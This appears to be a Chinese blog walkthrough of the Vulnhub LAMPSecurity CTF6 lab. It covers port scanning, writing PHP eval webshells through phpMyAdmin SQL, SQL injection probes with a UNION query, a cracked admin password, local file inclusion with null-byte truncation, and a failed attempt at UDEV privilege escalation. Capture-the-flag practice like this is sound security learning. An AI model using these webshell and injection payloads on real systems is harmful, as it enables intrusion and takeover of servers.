LAMPSecurity: CTF6 Vulnhub Walkthrough

镜像下载地址:

https://www.vulnhub.com/entry/lampsecurity-ctf6,85/

 

主机扫描:

╰─ nmap -p- -sV -oA scan 10.10.202.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-21 08:57 CST
Nmap scan report for 10.10.202.130
Host is up (0.0029s latency).
Not shown: 65525 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
110/tcp open pop3 Dovecot pop3d
111/tcp open rpcbind 2 (RPC #100000)
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
624/tcp open status 1 (RPC #100024)
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
3306/tcp open mysql MySQL 5.0.45
MAC Address: 00:0C:29:62:3B:5A (VMware)

目录扫描

 

 

 

phpinfo 获取物理路径:/var/www/html

网站备份寻找敏感信息

 

 

phpmyadmin 登录试试

phpadmin 写shell

这里简单下复习下PHPadmin 拿shell的几种思路:

1)志文件写入一句话来获取webshell
general.log变量是指是否启动记录日志;而general log file指的是日志文件的路径,可以看到general.log变量的状态为OFF,故我们要修改为ON;general log file变量中的*.log的后缀我们改为*php。拿完webshell记得要改回去哟。SQL语句进行修改

show global variables like "%log%"

set global general_log = "ON";
SET global general_log_file='/var/www/html/shell.php'
select "<?php eval($_POST['cmd']);?>"


2)利用插入一句话来提取webshell

show global variables like '%secure%';显示是NULL值,这样的情况下我们插入一句话是无法插入的,需要我们修改secure_file_priv=''为空值才能插入一句话:

解释一下:

secure_file_priv为null 表示不允许导入导出;

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹;

secure_file_priv没有设置时,则表示没有任何限制


select "<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/hack.php'

 

这里日志文件没有开启,第一种方式无失效,第二种方式,标识没有限制,可以尝试写webshell

 

 

 

报错,目录没权限,尝试/tmp 目录写入没有问题的,放弃。尝试其他办法

主页面发现SQL注入漏洞:

http://10.10.202.130/index.php?id=4 and true  #true

http://10.10.202.130/index.php?id=4 and false # false

http://10.10.202.130/index.php?id=4 order by 7 #true

http://10.10.202.130/index.php?id=4 order by 8 #false

10.10.202.130/index.php?id=4 union select 1,2,3,4,5,6,7 from user

 

 

 http://10.10.202.130/?id=4 +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4,5,6,7

SQLmap 获取admin的密码

admin         | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) 

http://10.10.202.130/index.php?action=login

登录没发现长传点之类的接口

继续看看源代码

login.php 发现文件包含漏洞

 

这里后缀为.tpl,这里尝试使用截断%00或者%0A

http://10.10.202.130/actions/login.php?action=../../conf/config.ini%00

 

尝试把一句话木马,这里有两个思路:

1. 通过phpamdin 写到tmp目录,进行文件包含../../../../../../tmp/hack.php%00

 

 

 

2. 写到日志文件,进行包含进来../../logs/log.log%00 看看能否解析

<?php eval($_POST['cmd']);?>

 

 

 

http://10.10.202.130/actions/login.php?action=../../logs/log.log%00

 

 

提权操作

尝试内核提权,几个都不行

最后通过Google得知内核Kernel version is 2.6.18-92.el5 需要UDEV提权

cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./

sed -i -e 's/\r$//' 8478.sh

 

 

无法成功,尝试了多次,依旧,有可能跟环境有关系吧!

 

posted @ 2019-10-21 15:24  APT-101  阅读(748)  评论(0编辑  收藏  举报